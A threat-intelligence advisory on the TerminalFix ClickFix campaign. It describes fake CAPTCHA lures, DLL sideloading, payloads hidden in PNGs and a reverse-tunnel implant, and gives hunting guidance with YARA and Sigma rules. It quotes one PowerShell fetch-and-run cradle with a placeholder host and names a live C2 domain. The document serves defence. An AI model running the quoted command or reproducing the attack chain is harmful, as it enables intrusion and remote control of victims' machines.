Attack hides malware in PNGs and drops custom reverse tunnel on victims' machines

1. Executive summary

An unattributed actor is running a "TerminalFix" campaign — a variant of the ClickFix social-engineering technique that tricks users into pasting a malicious PowerShell command from a fake Cloudflare CAPTCHA overlay into Windows Terminal or PowerShell. Unlike typical ClickFix operations that deliver a single infostealer, this chain combines DLL sideloading via a signed Microsoft binary, steganographic payload extraction from PNG images, dual persistence, and extensive Active Directory reconnaissance, culminating in a custom Python-based reverse-tunnel implant that gives the attacker SOCKS-style TCP proxy access through the victim's network. Microsoft Threat Intelligence states the campaign targets organisations across multiple industries; Microsoft declined to disclose victim counts or attribution to The Register, and no MITRE actor profile exists for the operator — treat attribution as unconfirmed. No CVE is involved and no CISA-KEV exploitation state applies; the risk to EMEA financial services is user-driven initial access converting an endpoint compromise into a persistent internal-network pivot, which is the classic precursor to hands-on-keyboard ransomware and data-exfiltration operations.

2. Regulatory framing

No specific DORA Art. 19 reporting obligation is asserted here — whether an incident is "major" depends on the client's own classification under Art. 18, and the source material does not establish observed downstream impact.

3. Technical analysis & attack chain

Attribution caveat: No actor or criminal crew has been identified; Microsoft declined to answer The Register's questions on victim counts and attribution, and no MITRE ATT&CK actor profile exists for this operator. All attribution statements should be treated as unconfirmed. The technical chain below is corroborated by both Microsoft Threat Intelligence and The Register's reporting; the Malwarebytes source describes the broader ClickFix ecosystem and shared infrastructure, not this specific chain.

Confirmed attack chain:

1. Initial access — fake CAPTCHA on a compromised website. A compromised website displays a fake Cloudflare Turnstile "verify you are human" overlay with a Cloudflare logo. The user is instructed to copy a "verification" command; the page copies it to the clipboard. TerminalFix directs the user to paste into Windows Terminal or PowerShell rather than the Windows Run dialog, which increases the likelihood that complex, multi-line scripts execute successfully.
2. PowerShell download stage. The pasted command runs a hidden PowerShell script that prints a fake "Starting Cloudflare verification…" message, downloads a ZIP archive from attacker-controlled infrastructure, extracts it under C:\ProgramData, and silently launches a batch file named 1.bat.
3. DLL sideloading. 1.bat executes LockScreenContentServer.exe — a legitimate, signed Windows binary — which automatically loads the co-located malicious dui70.dll (purporting to be a "Windows DirectUI Engine"). The sideloaded DLL executes a second-stage PowerShell script.
4. Steganographic payload retrieval. The second-stage PowerShell downloads three PNG images from attacker domains. It extracts an executable from the first image and two halves of the DLL from the second and third images, reassembling the components on disk. The payload is split across multiple PNGs to defeat content inspection; after extraction, the source images are deleted to reduce forensic artifacts.
5. Persistence. Redundant persistence via HKCU\…\Run registry keys and scheduled tasks that re-execute LockScreenContentServer.exe every 60 minutes, ensuring survival of reboots.
6. Reconnaissance. The malware collects system information across multiple language configurations (English, Spanish, German) and performs domain trust discovery, domain admin enumeration, and Active Directory user and computer searches. It also pings targeted, named servers corresponding to common infrastructure roles — domain controllers, databases, backup, gateways, and mail systems — to identify accessible targets for follow-on activity.
7. Command file-watch loop. A persistent PowerShell file-watch loop monitors a text file for new commands, executes them via Invoke-Expression, and writes results to an output file. This gives the attacker arbitrary PowerShell execution by writing to the text file.
8. Reverse-tunnel implant. A custom, Python-based reverse-tunnel implant launches with no visible window via pythonw.exe and establishes a reverse WebSocket tunnel to gitnow[.]dev:443. Combined with the reconnaissance data, this provides SOCKS-style TCP proxy access through the victim's network.

Observed impact and boundary of the observed chain: Microsoft states it did not observe downstream actions (privilege escalation, disabling security controls, data exfiltration, ransomware) in the analysed chain, but warns that the hands-on-keyboard phase that typically follows leverages exactly this access. Treat any affected host as a network pivot point.

Ecosystem context (single-sourced, Malwarebytes): Broader ClickFix campaigns active since at least late 2025 use fake Google and Cloudflare verification pages sharing infrastructure, delivering HijackLoader, StealC, Remus, Amatera Stealer, CastleLoader, NetSupport and a Rust-based stealer, with a typical copied-command pattern of powershell -c "iex(irm '{IP}:{Port}/{Random Path}' -UseBasicParsing)" and observed ports 6600, 9900, 5506, 7895, 7493, 149, 8442. This describes the wider ClickFix landscape, not the TerminalFix chain specifically — do not treat those ports or payloads as TerminalFix IOCs.

4. Mitigation & containment

P1 — within 24 hours

• Hunt for the chain, not just the implant. Search EDR/telemetry for: LockScreenContentServer.exe executions, especially from C:\ProgramData; the dui70.dll filename in write/load events; pythonw.exe spawning with no visible window and initiating outbound WebSocket connections to port 443; PowerShell processes with -WindowStyle Hidden or iex/irm download cradles; scheduled tasks with a 60-minute trigger re-executing LockScreenContentServer.exe; new HKCU\…\Run values pointing at LockScreenContentServer.exe.
• Block the C2 domain gitnow[.]dev at proxy, DNS and firewall egress layers. Note this is a legitimate developer-services domain being abused as a tunnel endpoint — block with that context and monitor rather than assume the domain itself is malicious infrastructure.
• Isolate any confirmed-compromised host immediately. Given the AD reconnaissance and tunnel, do not merely clean: treat the host as a pivot point and investigate lateral movement and credential exposure per Microsoft's guidance — review authentication events from that host toward domain controllers, database, backup, gateway and mail servers.
• Audit credential exposure: rotate credentials for any accounts authenticated on affected hosts; domain-admin enumeration was performed, so review unusual DA logon patterns.

P2 — within 72 hours

• Constrain PowerShell per Microsoft's recommendation: restrict PowerShell execution (constrained language mode, script block logging, AMSI, JEA where feasible) and block or audit the Windows Run dialog (Win+R) if not needed for daily work. Enable PowerShell transcript/script-block logging to catch Invoke-Expression usage from the file-watch loop.
• Baseline egress: the tunnel masquerades as HTTPS on 443 via WebSocket. Ensure TLS inspection covers WebSocket upgrades and alert on long-lived outbound WebSocket sessions from workstations, particularly from pythonw.exe.
• Review scheduled tasks and Run keys enterprise-wide for the 60-minute re-execution pattern; EDR canaries on C:\ProgramData writes of executables/DLLs by non-installer processes.
• User awareness targeting this exact lure: train staff on ClickFix/TerminalFix tactics — no legitimate CAPTCHA or verification flow requires pasting a command into Terminal, PowerShell or the Run dialog. Malwarebytes notes Browser Guard-class tooling can warn when a site writes to the clipboard, which is the delivery mechanism here.

P3 — within 7 days

• Application control: block or alert on pythonw.exe execution on standard user endpoints where Python is not a business requirement — this is the tunnel's launch vehicle.
• Steganography-aware mail/web inspection: the payload evades content-type inspection inside PNGs; ensure egress/inspection policy does not treat image downloads as low-risk by default.
• Table-top the pivot scenario: the chain's end-state (internal SOCKS proxy) is the precursor to hands-on-keyboard intrusion; validate that detection, isolation and reporting runbooks (per §2) work for a "compromised workstation as pivot" scenario.

5. Indicators of compromise

Only indicators present in the source material are listed. Microsoft's blog states it publishes IOCs, but the fetched excerpt does not include the IOC table; the items below are those named in the technical narrative. No file hashes are available in the provided sources.

domain  gitnow[.]dev
filename  LockScreenContentServer.exe
filename  dui70.dll
filename  1.bat
filepath  C:\ProgramData

Behavioural indicators (not machine-pivotable atomics; excluded from the block above):

6. Detection

rule TerminalFix_Reverse_Tunnel_Chain_Artifacts
{
    meta:
        author = "Adverse Trace"
        date = "2026-08-31"
        reference = "https://www.microsoft.com/en-us/security/blog/2026/08/28/terminalfix-campaign-deploys-reverse-tunnel-through-multistage-intrusion/"
        description = "Detects artifacts of the TerminalFix ClickFix campaign: sideloaded dui70.dll, LockScreenContentServer.exe launcher, fake Cloudflare verification lure, and gitnow.dev WebSocket C2."
        tlp = "AMBER"

    strings:
        $sideload_dll = "dui70.dll" wide ascii
        $host_exe = "LockScreenContentServer.exe" wide ascii
        $lure1 = "Starting Cloudflare verification" wide ascii
        $lure2 = "verify you are human" wide ascii
        $c2 = "gitnow.dev" wide ascii
        $batch = "1.bat" wide ascii

    condition:
        3 of them
}

title: TerminalFix ClickFix - LockScreenContentServer.exe execution from ProgramData
id: 8f3c1a52-6d94-4e77-9b21-2f5a8c0d1e34
status: experimental
description: Detects execution of LockScreenContentServer.exe, the signed sideloading host used by the TerminalFix campaign, particularly from C:\ProgramData where the malicious ZIP is extracted.
references:

    - https://www.microsoft.com/en-us/security/blog/2026/08/28/terminalfix-campaign-deploys-reverse-tunnel-through-multistage-intrusion/
    - https://www.theregister.com/security/2026/08/31/attack-hides-malware-in-pngs-and-drops-custom-reverse-tunnel-on-victims-machines/5293480
tags:

    - attack.execution
    - attack.defense_evasion
    - attack.t1574.002
author: Adverse Trace
date: 2026/08/31
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\LockScreenContentServer.exe'
    filter_programdata:
        Image|startswith: 'C:\ProgramData\'
    condition: selection
falsepositives:

    - Legitimate use of the signed binary from its original install path; validate signature path and parent process
level: high

title: TerminalFix - pythonw.exe hidden reverse WebSocket tunnel to gitnow.dev
id: c4a97e20-1b3f-4d8a-9e55-70c2f6b8a19d
status: experimental
description: Detects the Python-based reverse-tunnel implant launched via pythonw.exe connecting to the attacker WebSocket C2 on port 443.
references:

    - https://www.microsoft.com/en-us/security/blog/2026/08/28/terminalfix-campaign-deploys-reverse-tunnel-through-multistage-intrusion/
author: Adverse Trace
date: 2026/08/31
logsource:
    category: network_connection
    product: windows
detection:
    selection_process:
        Image|endswith: '\pythonw.exe'
    selection_dest:
        DestinationHostname|endswith: '.gitnow.dev'
        DestinationPort: 443
    condition: all of them
falsepositives:

    - Legitimate developer use of gitnow.dev; correlate with pythonw.exe execution on standard user endpoints
level: high

title: TerminalFix - Scheduled task or Run key re-executing LockScreenContentServer.exe every 60 minutes
id: 2e6b904d-5f13-47c2-8a44-9d0e7b3c5f81
status: experimental
description: Detects the redundant persistence mechanism of the TerminalFix campaign - scheduled tasks and HKCU Run keys re-executing the sideloading host on a 60-minute cycle.
references:

    - https://www.microsoft.com/en-us/security/blog/2026/08/28/terminalfix-campaign-deploys-reverse-tunnel-through-multistage-intrusion/
author: Adverse Trace
date: 2026/08/31
logsource:
    category: process_creation
    product: windows
detection:
    selection_task:
        ParentImage|endswith: '\taskhostw.exe'
        Image|endswith: '\LockScreenContentServer.exe'
    selection_runkey:
        Image|endswith: '\LockScreenContentServer.exe'
        ParentImage|endswith: '\explorer.exe'
    condition: 1 of them
falsepositives:

    - Rare; validate image path and presence of co-located dui70.dll
level: high

7. Sources

• Microsoft Threat Intelligence — TerminalFix campaign deploys a reverse tunnel through multistage intrusion — https://www.microsoft.com/en-us/security/blog/2026/08/28/terminalfix-campaign-deploys-reverse-tunnel-through-multistage-intrusion/ — 2026-08-28
• The Register — Attack hides malware in PNGs and drops custom reverse tunnel on victims' machines — https://www.theregister.com/security/2026/08/31/attack-hides-malware-in-pngs-and-drops-custom-reverse-tunnel-on-victims-machines/5293480 — 2026-08-31
• The Hacker News — TerminalFix Uses Fake Cloudflare CAPTCHAs to Deploy Reverse-Tunnel Backdoor — https://thehackernews.com/2026/08/terminalfix-uses-fake-cloudflare.html — 2026-08
• Malwarebytes Labs — Fake Google and Cloudflare verification pages spread multiple malware families — https://www.malwarebytes.com/blog/threat-intel/2026/07/fake-google-and-cloudflare-verification-pages-spread-multiple-malware-families — 2026-07 (context on the wider ClickFix ecosystem only)

8. Adverse Trace position

This is a high-impact, unattributed initial-access and network-pivot campaign with no CVE and no patch to apply — the exposure is behavioural, and the defence is a combination of PowerShell hardening, egress visibility over WebSocket/443, and user awareness of the paste-a-command lure. Severity for EMEA financial services is high where workstations can reach domain controllers, backup and mail infrastructure from user contexts, because the observed chain delivers exactly the reconnaissance-plus-tunnel posture that precedes hands-on-keyboard intrusion; Microsoft did not observe exfiltration or ransomware in this chain, and we do not assert them. Attribution is unconfirmed — no actor has been named and no MITRE profile exists — and the IOC set available in the fetched material is limited to filenames, one C2 domain and behaviours; the fuller Microsoft IOC table was not available to us, so the indicators above are single-sourced to the Microsoft narrative as reported through Microsoft and The Register, and clients should pull Microsoft's published IOC list directly before enforcement. We will update this advisory if Microsoft releases victim-count or attribution detail, if the C2 infrastructure rotates, or if downstream hands-on-keyboard activity is observed.

Read the original source →

Published via PulseTrace — Adverse Trace threat intelligence.